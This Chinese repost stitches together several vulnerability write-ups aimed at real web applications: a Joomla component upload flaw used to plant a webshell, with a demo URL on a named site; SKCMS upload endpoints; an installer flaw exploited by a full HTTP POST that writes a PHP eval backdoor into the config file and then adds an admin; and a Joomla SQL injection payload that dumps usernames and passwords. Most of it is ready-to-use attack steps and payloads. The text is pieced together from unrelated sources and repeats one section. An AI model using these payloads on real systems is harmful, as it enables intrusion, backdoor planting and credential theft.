下面是小编为大家整理的Joomla远程上传漏洞 可直接getshell(共含6篇），仅供大家参考借鉴，希望大家喜欢，并能积极分享!同时，但愿您也能像本文投稿人“如草”一样，积极向本站投稿分享好文章。
作者：1337
1. 有些joomal需要先注册.
site/index.php?option=com_user&view=login
2. 到上传地址
/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
3. 点击image后点击upload,选择shell, 将shell重名为adm1n.php.jpg格式.
4. 上传后的文件在/ images/ksadvertiser/U0 这个目录下.
site/images/ksadvertiser/U0/adm1n.php.gif
Demo: alt.kiss-software.de/images/ksadvertiser/U0/403.php.gif
修复：
已通知官方
作者：1337
1. 有些joomal需要先注册.
site/index.php?option=com_user&view=login
2. 到上传地址
site/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
3. 点击image后点击upload,选择shell, 将shell重名为adm1n.php.jpg格式.
4. 上传后的文件在 / images/ksadvertiser/U0 这个目录下.
site/images/ksadvertiser/U0/adm1n.php.gif
Demo: alt.kiss-software.de/images/ksadvertiser/U0/403.php.gif
我随便测试了一下, 基本都被搞了. 疯狂的人们啊, 这今天刚出的漏洞就成这样了… 1337V5啊.
上传漏洞，无需后台权限直接上传，无过滤，导致文件非法上传！
SKCMS/upload/swfupload/load.asp
www.0day5.com/SKCMS/upload/swfupload/load.asp
SKCMS/upload/file_manager_json.asp
受影响系统：Joomla! Joomla! < 1.0.11不受影响系统：Joomla! Joomla! 1.0.11描述：
Joomla!是一款开放源码的内容管理系统（CMS），Joomla!多个远程安全漏洞
。Joomla!中存在多个跨站脚本和安全限制绕过漏洞：
1) mosMail和JosIsValidEmail()函数中存在输入验证错误。
2) PEAR.php中存在安全漏洞。
3) globals.php没有包含在administrator/index.php中。
4) 由于缺少defined( '_VALID_MOS' )检查以及Admin “Upload Image”、Admin “Popups”和“com_content”功能中的错误，导致存在不充分的访问控制检查，
5) do_pdf功能以及处理emailform. com_content任务中的漏洞允许用户绕过认证过程。
6) 在返回给用户之前没有正确的过滤Admin “Module Manager”、Admin “Help”和Search功能的输入，导致在用户浏览器中执行任意HTML和脚本代码。
<*来源：Joomla!
链接：secunia.com/advisories/21666/
*>
建议：
厂商补丁：Joomla!
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
forge.joomla.org/sf/frs/do/viewRelease/projects.joomla/frs.joomla_1_0.1_0_11
漏洞类型：代码执行
关键字：inurl:index.php?m=shopcar
问题出在/install/index.php文件，在程序安装完后，会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
可见在/install/index.php存在时，只是header做了302重定向并没有退出，也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
1、getshell（很危险）
if(empty($_REQUEST['step']) || $_REQUEST['step']==1){$smarty->assign(“step”,1);$smarty->display(“index.html”);}elseif($_REQUEST['step']==2){$mysql_host=trim($_POST['mysql_host']);$mysql_user=trim($_POST['mysql_user']);$mysql_pwd=trim($_POST['mysql_pwd']);$mysql_db=trim($_POST['mysql_db']);$tblpre=trim($_POST['tblpre']);$domain==trim($_POST['domain']);$str=“';file_put_contents(“../config/config.inc.php”,$str);//将提交的数据写入php文件
上面的代码将POST的数据直接写入了../config/config.inc.php文件，那么我们提交如下POST包，即可获得一句话木马
-----------post----------
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
Host: 192.168.80.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: 192.168.80.129/canting/install/index.php?step=1
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
mysql_host=test“);@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
---------post----------
但是这个方法很危险，将导致网站无法运行，
2、直接添加管理员
elseif($_REQUEST['step']==5){if($_POST){ require_once(”../config/config.inc.php“);$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);mysql_select_db(MYSQL_DB,$link);mysql_query(”SET NAMES “.MYSQL_CHARSET );mysql_query(”SET sql_mode=''“);$adminname=trim($_POST['adminname']);$pwd1=trim($_POST['pwd1']);$pwd2=trim($_POST['pwd2']);if(empty($adminname)){echo ”“;exit();}if(($pwd1!=$pwd2) or empty($pwd1)){echo ”“;//这里也是没有退出}mysql_query(”insert into “.TABLE_PRE.”admin(adminname,password,isfounder) values('$adminname','“.umd5($pwd1).”',1)");//直接可以插入一个管理员}
这样的话我们就可以直接插入一个管理员帐号，语句如下：
POST /canting/install/index.php?m=index&step=5 HTTP/1.1Host: 192.168.80.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: 192.168.80.129/canting/install/index.php?step=1
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
Joomla!是一套在国外相当知名的内容管理系统，很多知名门户都在用，
server/index.php?option=com_job&task=showMoreUser&id=[SQL]
[ Exploit ]
index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users--
[ Demo ]
www.site.com/index.php?option=com_job&task=showMoreUser&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(username,0x3a,password),17,18,19,20,21,22,23,24,25+from+kew_users--
相关：www.1923turk.biz
★ SKCMS存在任意文件上传漏洞可直接getshell漏洞预警
★ ECSHOP跨站+后台文件包含=Getshell漏洞预警
★ 火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警
★ Linux Kernel畸形ULE报文处理远程拒绝服务漏洞
★ 一个远程代码执行漏洞搞定Yahoo, Microsoft, Orange漏洞预警
★ 远程研修
★ udev漏洞提升
